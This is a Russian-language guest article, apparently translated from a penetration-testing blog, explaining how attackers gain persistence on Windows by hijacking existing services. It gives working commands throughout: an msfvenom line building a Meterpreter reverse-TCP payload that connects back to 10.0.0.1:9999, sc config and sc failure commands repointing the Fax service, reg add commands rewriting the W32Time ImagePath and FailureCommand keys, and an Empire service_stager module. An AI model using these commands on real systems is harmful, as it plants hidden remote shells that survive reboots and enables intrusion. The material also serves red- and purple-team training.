Гостевая статья Persistence – Modify Existing Service

Группы APT нередко модифицируют существующую службу на скомпрометированном хосте, чтобы выполнить произвольную полезную нагрузку, когда служба запускается или уничтожается в качестве метода постоянства. Это позволяет им скрывать свои вредоносные программы в месте, которое будет выполняться в контексте службы. Модификация существующих сервисов требует привилегий уровня администратора или системы и обычно не используется красными командами в качестве метода сохранения. Тем не менее, во время оценки «фиолетовой команды» в средах, которые менее зрелы в своих средствах управления обнаружением, полезно применять эту технику в качестве отправной точки. Злоумышленник может манипулировать тремя местами для выполнения некоторой формы полезной нагрузки:

  1. binPath
  2. ImagePath
  3. FailureCommand
binPath
« BinPath » - это местоположение, которое указывает сервис на двоичный файл, который должен выполняться при запуске сервиса. Metasploit Framework может быть использован для генерации произвольного исполняемого файла.

Код:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=9999 -f exe > pentestlab.exe

persistence-modifying-existing-service-msfvenom-executable.png

Metasploit - Создать исполняемый файл

Сгенерированный файл должен быть перенесен на диск, который создает криминалистический артефакт. Утилита командной строки « sc » может управлять службой и выполнять такие действия, как запуск, остановка, пауза, изменение двоичного пути и т. Д. Служба факсов по умолчанию не используется в установках Windows 10 и поэтому является хорошим кандидатом для изменения двоичного файла. путь, поскольку он не будет прерывать нормальные пользовательские операции.

Код:
sc config Fax binPath= "C:\windows\system32\pentestlab.exe"
sc start Fax

persistence-modifying-existing-service-binpath.png

Изменить существующий сервис - binPath

Когда служба запустится в системе, будет выполнена полезная нагрузка и откроется сеанс.

persistence-modifying-existing-service-binpath-meterpreter.png

Изменить существующую службу - binPath Meterpreter

Служба может быть изменена для автоматического запуска при запуске Windows и с привилегиями уровня SYSTEM для сохранения при перезагрузках.

Код:
sc config Fax binPath= "C:\Windows\System32\pentestlab.exe" start="auto" obj="LocalSystem"

persistence-modifying-existing-service-binpath-autostart.png

Изменить существующую службу - запускать автоматически

ImagePath
Информация о каждом сервисе в системе хранится в реестре. Раздел реестра « ImagePath » обычно содержит путь к файлу образа драйвера. В результате перехвата этого ключа с произвольным исполняемым файлом будет получена полезная нагрузка, запускаемая во время запуска службы.

Код:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v ImagePath /t REG_SZ /d "C:\tmp\pentestlab.exe"

persistence-modifying-existing-service-imagepath.png

Изменить существующий сервис - ImagePath

persistence-modifying-existing-service-imagepath-meterpreter.png

Изменить существующий сервис - ImagePath Meterpreter

FailureCommand
Windows предоставляет функциональные возможности для выполнения определенных действий, когда служба не запускается или процесс переписки прекращается. В частности, команда может быть выполнена, когда служба убита. Раздел реестра, который управляет этим действием, является « FailureCommand », и его значение будет определять, что будет выполнено.

Код:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time" /v FailureCommand /t REG_SZ /d "C:\tmp\pentestlab.exe"

persistence-modifying-existing-service-failurecommand.png

Изменить существующий сервис - FailureCommand

Выполнение вышеуказанной команды изменит раздел реестра на вредоносный исполняемый файл, который будет запускаться после завершения процесса.

persistence-modifying-existing-service-failurecommand-registry.png

Изменить существующую службу - раздел реестра FailureCommand

В качестве альтернативы то же действие можно выполнить с помощью утилиты « sc » и путем указания опции « fail ».

Код:
sc failure Fax command= "\"c:\Windows\system32\pentestlab.exe\""

persistence-modifying-existing-service-failure-state.png

Изменить существующую службу - параметр сбоя

Параметр « Запустить программу » на вкладке «Восстановление» службы заполняется произвольной полезной нагрузкой. Следует отметить, что параметр « Первый сбой » должен быть установлен на « Запуск программы », а другие параметры - « Не предпринимать никаких действий ».

persistence-modifying-existing-service-recovery-action.png

Изменить существующую службу - Действие восстановления

Когда связанный процесс завершен, полезная нагрузка будет выполнена с теми же привилегиями, что и служба, и откроется сеанс Meterpreter.

persistence-modifying-existing-service-failure-state-meterpreter.png

Модифицируйте существующую службу - Failure State Meterpreter

При запуске службы « Факс » запускается процесс « svchost » (PID 2624). Поскольку этот процесс играет роль триггера, завершающего процесс, он создаст новый произвольный процесс, который может быть легко обнаружен синей командой.

persistence-modifying-existing-service-kill-service-process-explorer.png

Изменить существующий сервис - уничтожить процесс

Empire

Empire также может выполнять модификации сервисов как часть их модуля повышения привилегий. Однако, если Empire используется как C2 в кампании, и агент работает с повышенными привилегиями (Administrator, SYSTEM), то следующий модуль можно использовать для изменения существующей службы, которая будет запускать модуль запуска.

Код:
usemodule privesc/powerup/service_stager

persistence-modifying-existing-service-empire.png

Изменить существующий сервис - Empire

Ссылки
Источник:
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!